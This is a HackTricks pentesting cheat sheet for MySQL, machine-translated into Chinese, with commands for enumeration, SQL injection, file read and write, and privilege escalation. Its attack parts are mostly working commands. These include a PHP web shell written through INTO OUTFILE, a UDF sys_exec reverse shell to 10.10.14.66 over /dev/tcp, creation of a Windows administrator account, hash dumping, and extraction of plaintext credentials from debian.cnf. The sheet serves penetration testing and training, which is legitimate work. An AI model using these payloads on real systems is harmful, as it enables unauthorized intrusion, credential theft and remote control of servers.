3306 - Pentesting Mysql

学习与实践 AWS 黑客技术：HackTricks 培训 AWS 红队专家 (ARTE) 学习与实践 GCP 黑客技术：HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

• 查看 订阅计划!

• 加入 💬 Discord 群组 或 Telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.

• 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。

RootedCON 是 西班牙 最相关的网络安全事件，也是 欧洲 最重要的事件之一。该大会的 使命是促进技术知识，是各个学科技术和网络安全专业人士的一个热烈交流点。

RootedCONRootedCON

基本信息

MySQL 可以被描述为一个开源的 关系数据库管理系统 (RDBMS)，可免费使用。它基于 结构化查询语言 (SQL)，使得数据库的管理和操作成为可能。

默认端口： 3306

3306/tcp open  mysql

连接

本地

mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)

远程

mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost

External Enumeration

某些枚举操作需要有效的凭据

nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds

暴力破解

写入任何二进制数据

CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)

MySQL 命令

show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;

select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Get a shell with the mysql client user
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;

mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'

MySQL 权限枚举

#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();

# Get users, permissions & hashes
SELECT * FROM mysql.user;

#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';

# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';

您可以在文档中查看每个权限的含义：https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html

MySQL 文件 RCE

MySQL File priv to SSRF/RCE

MySQL 客户端任意读取文件

实际上，当您尝试 load data local into a table 文件的 内容 时，MySQL 或 MariaDB 服务器会要求 客户端读取它 并发送内容。然后，如果您可以篡改 mysql 客户端以连接到您自己的 MySQL 服务器，您可以读取任意文件。 请注意，这是使用以下方式的行为：

load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

(注意“local”这个词) 因为没有“local”你可能会得到：

mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

初始 PoC: https://github.com/allyshka/Rogue-MySql-Server 在这篇论文中，您可以看到攻击的完整描述，甚至如何将其扩展到 RCE: https://paper.seebug.org/1113/ 在这里您可以找到攻击的概述: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

​

​​RootedCON 是 西班牙 最相关的网络安全事件，也是 欧洲 最重要的事件之一。该大会 旨在促进技术知识，是各个学科的技术和网络安全专业人士的热烈交流点。

RootedCONRootedCON

POST

Mysql 用户

如果 mysql 以 root 身份运行，那将非常有趣：

cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1

mysqld.cnf 的危险设置

在 MySQL 服务的配置中，使用各种设置来定义其操作和安全措施：

• user 设置用于指定 MySQL 服务将以哪个用户身份执行。

• password 用于建立与 MySQL 用户相关联的密码。

• admin_address 指定在管理网络接口上监听 TCP/IP 连接的 IP 地址。

• debug 变量指示当前的调试配置，包括日志中的敏感信息。

• sql_warnings 管理在出现警告时是否为单行 INSERT 语句生成信息字符串，日志中包含敏感数据。

• 使用 secure_file_priv，数据导入和导出操作的范围受到限制，以增强安全性。

权限提升

# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;

# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"

# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh

特权提升通过库

如果 mysql 服务器以 root 身份运行（或其他更特权的用户），您可以使其执行命令。为此，您需要使用 用户定义函数。要创建用户定义函数，您将需要一个 库，该库用于运行 mysql 的操作系统。

可以在 sqlmap 和 metasploit 中找到要使用的恶意库，通过执行 locate "*lib_mysqludf_sys*"。.so 文件是 linux 库，.dll 是 Windows 库，选择您需要的。

如果您 没有 这些库，您可以 寻找它们，或下载这个 linux C 代码 并 在 linux 漏洞机器中编译：

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

现在您已经有了库，以特权用户（root？）身份登录Mysql，并按照以下步骤操作：

Linux

# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

Windows

# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

从文件中提取 MySQL 凭据

在 /etc/mysql/debian.cnf 中，您可以找到用户 debian-sys-maint 的 明文密码。

cat /etc/mysql/debian.cnf

您可以使用这些凭据登录mysql数据库。

在文件：/var/lib/mysql/mysql/user.MYD 中，您可以找到所有MySQL用户的哈希值（您可以从数据库中的mysql.user提取的那些）_。

您可以通过以下方式提取它们：

grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

启用日志记录

您可以通过取消注释以下行在 /etc/mysql/my.cnf 中启用 mysql 查询的日志记录：

有用的文件

配置文件

• windows *

• config.ini

• my.ini

• windows\my.ini

• winnt\my.ini

• <InstDir>/mysql/data/

• unix

• my.cnf

• /etc/my.cnf

• /etc/mysql/my.cnf

• /var/lib/mysql/my.cnf

• ~/.my.cnf

• /etc/my.cnf

• 命令历史

• ~/.mysql.history

• 日志文件

• connections.log

• update.log

• common.log

默认 MySQL 数据库/表

information_schema

ALL_PLUGINS APPLICABLE_ROLES CHARACTER_SETS CHECK_CONSTRAINTS COLLATIONS COLLATION_CHARACTER_SET_APPLICABILITY COLUMNS COLUMN_PRIVILEGES ENABLED_ROLES ENGINES EVENTS FILES GLOBAL_STATUS GLOBAL_VARIABLES KEY_COLUMN_USAGE KEY_CACHES OPTIMIZER_TRACE PARAMETERS PARTITIONS PLUGINS PROCESSLIST PROFILING REFERENTIAL_CONSTRAINTS ROUTINES SCHEMATA SCHEMA_PRIVILEGES SESSION_STATUS SESSION_VARIABLES STATISTICS SYSTEM_VARIABLES TABLES TABLESPACES TABLE_CONSTRAINTS TABLE_PRIVILEGES TRIGGERS USER_PRIVILEGES VIEWS INNODB_LOCKS INNODB_TRX INNODB_SYS_DATAFILES INNODB_FT_CONFIG INNODB_SYS_VIRTUAL INNODB_CMP INNODB_FT_BEING_DELETED INNODB_CMP_RESET INNODB_CMP_PER_INDEX INNODB_CMPMEM_RESET INNODB_FT_DELETED INNODB_BUFFER_PAGE_LRU INNODB_LOCK_WAITS INNODB_TEMP_TABLE_INFO INNODB_SYS_INDEXES INNODB_SYS_TABLES INNODB_SYS_FIELDS INNODB_CMP_PER_INDEX_RESET INNODB_BUFFER_PAGE INNODB_FT_DEFAULT_STOPWORD INNODB_FT_INDEX_TABLE INNODB_FT_INDEX_CACHE INNODB_SYS_TABLESPACES INNODB_METRICS INNODB_SYS_FOREIGN_COLS INNODB_CMPMEM INNODB_BUFFER_POOL_STATS INNODB_SYS_COLUMNS INNODB_SYS_FOREIGN INNODB_SYS_TABLESTATS GEOMETRY_COLUMNS SPATIAL_REF_SYS CLIENT_STATISTICS INDEX_STATISTICS USER_STATISTICS INNODB_MUTEXES TABLE_STATISTICS INNODB_TABLESPACES_ENCRYPTION user_variables INNODB_TABLESPACES_SCRUBBING INNODB_SYS_SEMAPHORE_WAITS

mysql

columns_priv column_stats db engine_cost event func general_log gtid_executed gtid_slave_pos help_category help_keyword help_relation help_topic host index_stats innodb_index_stats innodb_table_stats ndb_binlog_index plugin proc procs_priv proxies_priv roles_mapping server_cost servers slave_master_info slave_relay_log_info slave_worker_info slow_log tables_priv table_stats time_zone time_zone_leap_second time_zone_name time_zone_transition time_zone_transition_type transaction_registry user

performance_schema

accounts cond_instances events_stages_current events_stages_history events_stages_history_long events_stages_summary_by_account_by_event_name events_stages_summary_by_host_by_event_name events_stages_summary_by_thread_by_event_name events_stages_summary_by_user_by_event_name events_stages_summary_global_by_event_name events_statements_current events_statements_history events_statements_history_long events_statements_summary_by_account_by_event_name events_statements_summary_by_digest events_statements_summary_by_host_by_event_name events_statements_summary_by_program events_statements_summary_by_thread_by_event_name events_statements_summary_by_user_by_event_name events_statements_summary_global_by_event_name events_transactions_current events_transactions_history events_transactions_history_long events_transactions_summary_by_account_by_event_name events_transactions_summary_by_host_by_event_name events_transactions_summary_by_thread_by_event_name events_transactions_summary_by_user_by_event_name events_transactions_summary_global_by_event_name events_waits_current events_waits_history events_waits_history_long events_waits_summary_by_account_by_event_name events_waits_summary_by_host_by_event_name events_waits_summary_by_instance events_waits_summary_by_thread_by_event_name events_waits_summary_by_user_by_event_name events_waits_summary_global_by_event_name file_instances file_summary_by_event_name file_summary_by_instance global_status global_variables host_cache hosts memory_summary_by_account_by_event_name memory_summary_by_host_by_event_name memory_summary_by_thread_by_event_name memory_summary_by_user_by_event_name memory_summary_global_by_event_name metadata_locks mutex_instances objects_summary_global_by_type performance_timers prepared_statements_instances replication_applier_configuration replication_applier_status replication_applier_status_by_coordinator replication_applier_status_by_worker replication_connection_configuration replication_connection_status replication_group_member_stats replication_group_members rwlock_instances session_account_connect_attrs session_connect_attrs session_status session_variables setup_actors setup_consumers setup_instruments setup_objects setup_timers socket_instances socket_summary_by_event_name socket_summary_by_instance status_by_account status_by_host status_by_thread status_by_user table_handles table_io_waits_summary_by_index_usage table_io_waits_summary_by_table table_lock_waits_summary_by_table threads user_variables_by_thread users variables_by_thread

sys

host_summary host_summary_by_file_io host_summary_by_file_io_type host_summary_by_stages host_summary_by_statement_latency host_summary_by_statement_type innodb_buffer_stats_by_schema innodb_buffer_stats_by_table innodb_lock_waits io_by_thread_by_latency io_global_by_file_by_bytes io_global_by_file_by_latency io_global_by_wait_by_bytes io_global_by_wait_by_latency latest_file_io memory_by_host_by_current_bytes memory_by_thread_by_current_bytes memory_by_user_by_current_bytes memory_global_by_current_bytes memory_global_total metrics processlist ps_check_lost_instrumentation schema_auto_increment_columns schema_index_statistics schema_object_overview schema_redundant_indexes schema_table_lock_waits schema_table_statistics schema_table_statistics_with_buffer schema_tables_with_full_table_scans schema_unused_indexes session session_ssl_status statement_analysis statements_with_errors_or_warnings statements_with_full_table_scans statements_with_runtimes_in_95th_percentile statements_with_sorting statements_with_temp_tables sys_config user_summary user_summary_by_file_io user_summary_by_file_io_type user_summary_by_stages user_summary_by_statement_latency user_summary_by_statement_type version wait_classes_global_by_avg_latency wait_classes_global_by_latency waits_by_host_by_latency waits_by_user_by_latency waits_global_by_latency x$host_summary x$host_summary_by_file_io x$host_summary_by_file_io_type x$host_summary_by_stages x$host_summary_by_statement_latency x$host_summary_by_statement_type x$innodb_buffer_stats_by_schema x$innodb_buffer_stats_by_table x$innodb_lock_waits x$io_by_thread_by_latency x$io_global_by_file_by_bytes x$io_global_by_file_by_latency x$io_global_by_wait_by_bytes x$io_global_by_wait_by_latency x$latest_file_io x$memory_by_host_by_current_bytes x$memory_by_thread_by_current_bytes x$memory_by_user_by_current_bytes x$memory_global_by_current_bytes x$memory_global_total x$processlist x$ps_digest_95th_percentile_by_avg_us x$ps_digest_avg_latency_distribution x$ps_schema_table_statistics_io x$schema_flattened_keys x$schema_index_statistics x$schema_table_lock_waits x$schema_table_statistics x$schema_table_statistics_with_buffer x$schema_tables_with_full_table_scans x$session x$statement_analysis x$statements_with_errors_or_warnings x$statements_with_full_table_scans x$statements_with_runtimes_in_95th_percentile x$statements_with_sorting x$statements_with_temp_tables x$user_summary x$user_summary_by_file_io x$user_summary_by_file_io_type x$user_summary_by_stages x$user_summary_by_statement_latency x$user_summary_by_statement_type x$wait_classes_global_by_avg_latency x$wait_classes_global_by_latency x$waits_by_host_by_latency x$waits_by_user_by_latency x$waits_global_by_latency

HackTricks 自动命令

Protocol_Name: MySql    #Protocol Abbreviation if there is one.
Port_Number:  3306     #Comma separated if there is more than one.
Protocol_Description: MySql     #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).

https://book.hacktricks.xyz/pentesting/pentesting-mysql

Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306

Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost

Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'

RootedCON 是 西班牙 最相关的网络安全事件，也是 欧洲 最重要的活动之一。该大会 旨在促进技术知识，是各个学科的技术和网络安全专业人士的热烈交流平台。

RootedCONRootedCON

学习和实践 AWS 黑客技术：HackTricks 培训 AWS 红队专家 (ARTE) 学习和实践 GCP 黑客技术：HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

• 查看 订阅计划!

• 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 @hacktricks_live** 上关注我们。**

• 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。